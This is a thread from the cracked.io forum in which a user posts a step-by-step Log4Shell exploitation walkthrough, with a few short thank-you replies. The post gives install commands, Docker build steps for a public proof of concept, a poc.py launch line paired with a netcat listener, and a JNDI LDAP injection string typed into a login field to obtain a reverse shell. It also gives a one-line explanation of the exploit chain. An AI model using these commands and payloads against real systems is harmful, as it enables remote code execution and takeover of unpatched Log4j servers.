Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!

cracked.io | Best Forum Around | Free Premium Accounts




 7310

[EXPLOIT] JAVA / APACHE LOG4J EXPLICATION + DEMONSTRATION [EASY]

by 0a7 - 03 June, 2022 - 05:13 PM
This post is by a banned member (0a7) - Unhide
0a7  
Registered
119
Posts
3
Threads
1 Year of service
#1
(This post was last modified: 03 June, 2022 - 05:29 PM by 0a7. Edited 2 times in total.)
[Image: log4shell.gif]
Install Java

yum or apt install default-jre

Install netcat

yum or apt install netcat

Install Docker

yum or apt install docker

Install pip3

yum or apt install python3-pip

Install requirements

pip3 install -r requirements.txt

Install Java-sdk

Step 1 :
Hidden Content
You must register or login to view this content.


Step 2 :tar -xf jdk-8u20-linux-x64.tar.gz
Step 3 : put the file in the root of log4j-shell-poc-main

Install dockerfile for test exploit

Step 1 : docker build -t log4j-shell-poc .
Step 2 : docker run --network host log4j-shell-poc
Step 3 : connect to http://127.0.0.1:8080

We can start the test

Step 1 : It will take 2 terminals, 1 to launch the exploit, the other for ncat
First Terminal : python3 poc.py --userip localhost --webport 8000 --lport 9001
Second Terminal : nc -lvnp 9001

Web part

go back to your http server (from docker)(http://127.0.0.1:8080)
Login username : {jndi:ldap://localhost:1389/a} (add the $ in front of the quotes, I couldn't put it because it's considered a sql attack and it blocks me from posting the thread)
Passwd : no matter


Well done, you are finally in your reverseshell!

Explication :

{jndi:ldap-> log4j code, log4j code -> poc.py, poc.py -> poc returns code to docker or your vulnerable site/server -> and your docker sends a reverseshell to your machine.

Show ContentSpoiler:
This post is by a banned member (SrtoKaemii) - Unhide
This post is by a banned member (ShaunJ) - Unhide
ShaunJ  
Registered
31
Posts
0
Threads
#3
^^
This post is by a banned member (er53) - Unhide
er53  
Registered
16
Posts
0
Threads
#4
useful
This post is by a banned member (Kingslayer100) - Unhide
80
Posts
0
Threads
3 Years of service
#5
(03 June, 2022 - 05:13 PM)0a7 Wrote: Show More
[Image: log4shell.gif]
Install Java

yum or apt install default-jre

Install netcat

yum or apt install netcat

Install Docker

yum or apt install docker

Install pip3

yum or apt install python3-pip

Install requirements

pip3 install -r requirements.txt

Install Java-sdk

Step 1 :[/spoiler]
Thank you for the psot

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 2 Guest(s)